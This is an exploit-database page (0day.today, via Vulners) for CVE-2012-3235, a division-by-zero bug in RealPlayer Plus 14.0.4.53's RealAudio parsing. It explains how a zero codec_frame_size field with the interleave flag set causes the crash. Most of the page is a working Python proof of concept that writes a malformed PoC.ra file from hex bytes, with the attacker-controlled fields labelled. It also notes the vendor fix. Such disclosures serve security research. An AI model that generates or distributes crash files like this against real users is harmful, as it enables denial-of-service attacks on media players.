Lucene search
K

RealPlayer Plus 14.0.4.53 RealAudio Integer Division

🗓️ 02 Jul 2012 00:00:00Reported by Senator of PiratesType 
zdt
 zdt
🔗 0day.today👁 35 Views

RealPlayer Plus 14.0.4.53 RealAudio Integer Division CVE-2012-323

Code
# Title : RealPlayer Plus 14.0.4.53 RealAudio Integer Division By Zero
# CVE : 2012-3235
# References : http://service.real.com/realplayer/security/06292012_player/en/
# Auther : Senator of Pirates
# E-Mail : [email protected]
# FaceBook : /SenatorofPiratesInfo
# Greeting : Morocco

# Bug:
-----

integer division by zero during the handling of RealAudio file causedby some fields
are under our control "has_interleave_pattern_flag" and "codec_frame_size".
"Has_interleave_pattern_flag" if this field is 1, then an interleave pattern follows this flag.
The total number of entries in the interleave pattern is "interleave_block_size" * "interleave_factor" / "codec_frame_size".
Vulnerable point is here, because we controlled value of "codec_frame_size field" and will be dividing
so if the value is 0 with division we will met an “integer division by zero” error.

if (header_has_interleave_pattern_flag != 0) {
    num_frames_in_superblock = (interleave_factor *
            interleave_block_size) / codec_frame_size;
      for (i = 0; i < num_frames_in_superblock; i++)
        
        
# The Code:
-------------


code = ("\x2E\x52\x4D\x46\x00\x00\x00\x12\x00\x01\x00\x00\x00\x00\x00\x00\x00\x06\x50\x52\x4F\x50\x00\x00"
"\x00\x32\x00\x00\x00\x01\xF4\x00\x00\x01\xF4\x00\x00\x00\x05\x77\x00\x00\x04\x8B\x00\x00\x04\x12"
"\x00\x01\x27\xDE\x00\x00\x00\xF3\x00\x12\xB2\x1A\x00\x00\x02\x55\x00\x02\x00\x09\x43\x4F\x4E\x54"
"\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4D\x44\x50\x52\x00\x00\x00\x9F\x00\x00"
"\x00\x00\x00\x01\xF4\x00\x00\x01\xF4\x00\x00\x00\x05\x77\x00\x00\x04\x8B\x00\x00\x00\x00\x00\x00"
"\x00\xF3\x00\x01\x27\xDE\x0C\x41\x75\x64\x69\x6F\x20\x53\x74\x72\x65\x61\x6D\x14\x61\x75\x64\x69"
"\x6F\x2F\x78\x2D\x70\x6E\x2D\x72\x65\x61\x6C\x61\x75\x64\x69\x6F\x00\x00\x00\x51\x2E\x72\x61\xFD"
"\x00\x05\x00\x00\x2E\x72\x61\x35\x00\x00\x00\x10\x00\x05\x00\x00\x00\x41\x00\x02\x00\x00\x01\x73"
"\x00\x00\x00\x00\x00\x0E\xA6\x00\x00\x00\x00\x00\x00\x01\x01\x73");
code += ("\x00\x00"); #  codec_frame_size
code += ("\x00\x00\x00\x00\xAC\x44\x00\x00\xAC\x44\x00\x00\x00\x10\x00\x02\x76\x62\x72\x73\x72\x61\x61\x63"
"\x01\x07\x00");
code += ("\x01"); #  header_has_interleave_pattern_flag
code += ("\x00\x00\x00\x03\x02\x12\x10\x4D\x44\x50\x52\x00\x00\x01\x60\x00\x00\x00\x01\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x10\x6C\x6F\x67\x69\x63\x61\x6C\x2D\x66\x69\x6C\x65\x69\x6E\x66\x6F\x00\x00\x01\x22\x00\x00\x01"
"\x22\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x2F\x00\x00\x09\x41\x75\x64\x69\x65\x6E\x63\x65"
"\x73\x00\x00\x00\x02\x00\x19\x64\x74\x64\x72\x69\x76\x65\x5F\x63\x75\x73\x74\x6F\x6D\x5F\x61\x75"
"\x64\x69\x65\x6E\x63\x65\x3B\x00\x00\x00\x00\x1C\x00\x00\x09\x61\x75\x64\x69\x6F\x4D\x6F\x64\x65"
"\x00\x00\x00\x02\x00\x06\x6D\x75\x73\x69\x63\x00\x00\x00\x00\x2D\x00\x00\x0D\x43\x72\x65\x61\x74"
"\x69\x6F\x6E\x20\x44\x61\x74\x65\x00\x00\x00\x02\x00\x13\x36\x2F\x33\x30\x2F\x32\x30\x31\x32\x20"
"\x31\x36\x3A\x35\x34\x3A\x33\x33\x00\x00\x00\x00\x50\x00\x00\x0C\x47\x65\x6E\x65\x72\x61\x74\x65"
"\x64\x20\x42\x79\x00\x00\x00\x02\x00\x37\x48\x65\x6C\x69\x78\x20\x50\x72\x6F\x64\x75\x63\x65\x72"
"\x20\x53\x44\x4B\x20\x31\x31\x2E\x31\x20\x66\x6F\x72\x20\x57\x69\x6E\x64\x6F\x77\x73\x2C\x20\x42"
"\x75\x69\x6C\x64\x20\x31\x31\x2E\x31\x2E\x30\x2E\x32\x38\x39\x35\x00\x00\x00\x00\x31\x00\x00\x11"
"\x4D\x6F\x64\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x20\x44\x61\x74\x65\x00\x00\x00\x02\x00\x13\x36"
"\x2F\x33\x30\x2F\x32\x30\x31\x32\x20\x31\x36\x3A\x35\x34\x3A\x33\x33\x00\x00\x00\x00\x1D\x00\x00"
"\x09\x76\x69\x64\x65\x6F\x4D\x6F\x64\x65\x00\x00\x00\x02\x00\x07\x6E\x6F\x72\x6D\x61\x6C\x00\x44"
"\x41\x54\x41\x00\x12\xAF\xC5\x00\x00\x00\x00\x04\x12\x00\x00\x00\x00\x00\x00\x04\xDF\x00\x00\x00"
"\x00\x00\x00\x00\x02\x00\x30\x01\x72\x01\x72\x01\xE7\x21\x1A\xC5\x00\x7D\x8B\x94\xA7\x37\xA0\xA8"
"\x03\xEC\x5C\xA7\x39\xBC\xC8\x3D\xBF\xFC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00");

try:
    A = open("PoC.ra","wb")      
    A.write(code)
    A.close()
    print "[*] The file created [*]"
except:
    print "[*] Error while creating file [*]"
 
print "[*] Enter to continue.. [*]"
raw_input()


# Fix:
-----

I contacted RealNetwork and they told me this issue is fixed in RealPlayer 15.0.5.109. 



#  0day.today [2018-01-10]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation